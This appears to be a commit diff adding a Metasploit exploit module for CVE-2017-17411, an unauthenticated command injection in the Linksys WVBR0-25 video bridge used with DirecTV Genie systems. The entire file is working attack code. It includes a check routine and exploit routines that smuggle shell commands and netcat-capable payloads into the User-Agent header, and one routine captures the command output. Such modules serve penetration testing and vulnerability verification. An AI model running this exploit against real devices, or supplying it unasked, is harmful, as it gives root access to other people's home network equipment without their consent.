|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'Linksys WVBR0-25 User-Agent Command Execution', |
| 14 | + 'Description' => %q{ |
| 15 | + The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie |
| 16 | + cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41 |
| 17 | + of the web management portal via the User-Agent header. Authentication is not required to |
| 18 | + exploit this vulnerability. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'HeadlessZeke' # Vulnerability discovery and Metasploit module |
| 23 | + ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + ['CVE', '2017-17411'], |
| 28 | + ['ZDI', '17-973'], |
| 29 | + ['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair'] |
| 30 | + ], |
| 31 | + 'DisclosureDate' => 'Dec 13 2017', |
| 32 | + 'Privileged' => true, |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'DisableNops' => true, |
| 36 | + 'Space' => 1024, |
| 37 | + 'Compat' => |
| 38 | + { |
| 39 | + 'PayloadType' => 'cmd', |
| 40 | + 'RequiredCmd' => 'generic netcat' |
| 41 | + } |
| 42 | + }, |
| 43 | + 'Platform' => 'unix', |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Targets' => [[ 'Automatic', { }]], |
| 46 | + 'DefaultTarget' => 0 |
| 47 | + )) |
| 48 | + end |
| 49 | + |
| 50 | + def check |
| 51 | + check_str = rand_text_alpha(8) |
| 52 | + begin |
| 53 | + res = send_request_raw({ |
| 54 | + 'method' => 'GET', |
| 55 | + 'uri' => '/', |
| 56 | + 'agent' => "\"; printf \"#{check_str}" |
| 57 | + }) |
| 58 | + if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str)) |
| 59 | + return Exploit::CheckCode::Vulnerable |
| 60 | + end |
| 61 | + rescue ::Rex::ConnectionError |
| 62 | + return Exploit::CheckCode::Unknown |
| 63 | + end |
| 64 | + |
| 65 | + Exploit::CheckCode::Safe |
| 66 | + end |
| 67 | + |
| 68 | + def exploit |
| 69 | + print_status("#{peer} - Trying to access the device ...") |
| 70 | + |
| 71 | + unless check == Exploit::CheckCode::Vulnerable |
| 72 | + fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") |
| 73 | + end |
| 74 | + |
| 75 | + print_status("#{peer} - Exploiting...") |
| 76 | + |
| 77 | + if datastore['PAYLOAD'] == 'cmd/unix/generic' |
| 78 | + exploit_cmd |
| 79 | + else |
| 80 | + exploit_session |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | + def exploit_cmd |
| 85 | + beg_boundary = rand_text_alpha(8) |
| 86 | + |
| 87 | + begin |
| 88 | + res = send_request_raw({ |
| 89 | + 'method' => 'GET', |
| 90 | + 'uri' => '/', |
| 91 | + 'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #" |
| 92 | + }) |
| 93 | + |
| 94 | + if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/ |
| 95 | + print_good("#{peer} - Command sent successfully") |
| 96 | + if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line |
| 97 | + print_status("#{peer} - Command output: #{$1}") |
| 98 | + end |
| 99 | + else |
| 100 | + fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") |
| 101 | + end |
| 102 | + rescue ::Rex::ConnectionError |
| 103 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 104 | + end |
| 105 | + end |
| 106 | + |
| 107 | + def exploit_session |
| 108 | + begin |
| 109 | + send_request_raw({ |
| 110 | + 'method' => 'GET', |
| 111 | + 'uri' => '/', |
| 112 | + 'agent' => "\"; #{payload.encoded} #" |
| 113 | + }) |
| 114 | + rescue ::Rex::ConnectionError |
| 115 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 116 | + end |
| 117 | + end |
| 118 | +end |
0 commit comments